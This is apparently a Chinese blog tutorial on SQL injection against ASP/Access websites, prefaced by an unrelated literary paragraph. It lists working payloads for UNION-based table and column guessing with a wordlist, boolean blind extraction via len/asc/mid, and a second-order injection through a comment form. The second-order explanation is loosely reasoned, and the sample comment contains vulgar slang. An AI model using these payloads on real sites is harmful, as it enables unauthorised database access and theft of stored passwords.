多年之前,海洋馆里,巨大的白鲸无声地从两人之间游过;多年之后,一个人古铜色的骨骸静静地躺在世界的彼端,另一个人在空无一人的房间里合衣躺下,世界喧闹而寂静,天空渐黑;相遇的美好,总让人误以为可以持续下去,直到十年百年千年后,其实全都错了。

Access

Access数据库一般都是与asp搭配,现在很少见了,有的时候甚至可以爆目录把数据库下载到本地。

联合查询法

首先使用order by 查询可显示字段数,然后用字典不断的去猜解。

步骤格式如下

https://sxadmin.github.io/show.asp?id=1 order by 22 正常
https://sxadmin.github.io/show.asp?id=1 order by 23 错误

存在22个可显示字段,然后用字典去逐一猜解。

https://sxadmin.github.io/show.asp?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

admin来自你的字典

页面返回正确就继续猜解列名

https://sxadmin.github.io/show.asp?id=1UNION SELECT 1,2,password,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

password也是来自你的字典。

## 逐字猜解法

就像mysql的盲注一样,可以使用access的函数去逐一猜解。

查表:and exists (select * from 表名)
查列:and exists (select 列名 from 表名)
查数据:1.确定长度 2.确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5
and (select top 1 asc(mid(列名,位数,1)) from admin)=97 
and (select top 1 asc(mid(列名,位数,1)) from admin)=97 

二次注入

通常适用于留言板,比如你发布一条评论,然后这条评论传到服务端的数据库,服务端继续把你的评论显示出来,这里数据库有两步,第一是把你的评论insert到数据库,然后再select 你的评论show出来,这两步都是在服务器执行,理论上没办法注入的。

来分析一下服务端的两层sql语句

首先是把你的评论插入到数据库

insert into msg('name','content') values ('langzi','浪子好几把帅啊')

在msg表里面就有了用户langzi评论是浪子好几把帅啊(这不是废话吗)。

插入完后服务端马上执行select 把你的评论显示出来

select * from msg where name = '$name' limit 0,1

其中的变量$name来自html表单中获取用户名

正常情况下回显的内容是

langzi:浪子好几把帅啊

但是这个时候我输入这么一条评论,把用户名修改一下

langzi-->改成-->langzi'%20union%20select%201,2,3,4%20--+

这个时候执行的语句就变成了

insert into msg('name','content') values ('langzi'%20union%20select%201,2,3,4%20--+','浪子好几把帅啊')

数据库中的msg表的name内容变成了

langzi'%20union%20select%201,2,3,4%20--+

然后服务端马上执行

select * from msg where name = 'langzi'%20union%20select%201,2,3,4%20--+ limit 0,1

这样就实现了二次注入。

二次注入即适用于你发布或者填写的内容会写入数据库,一般多用于评论或者发布新文章的地方,拼接好恶意sql语句后,找到显示页面即可。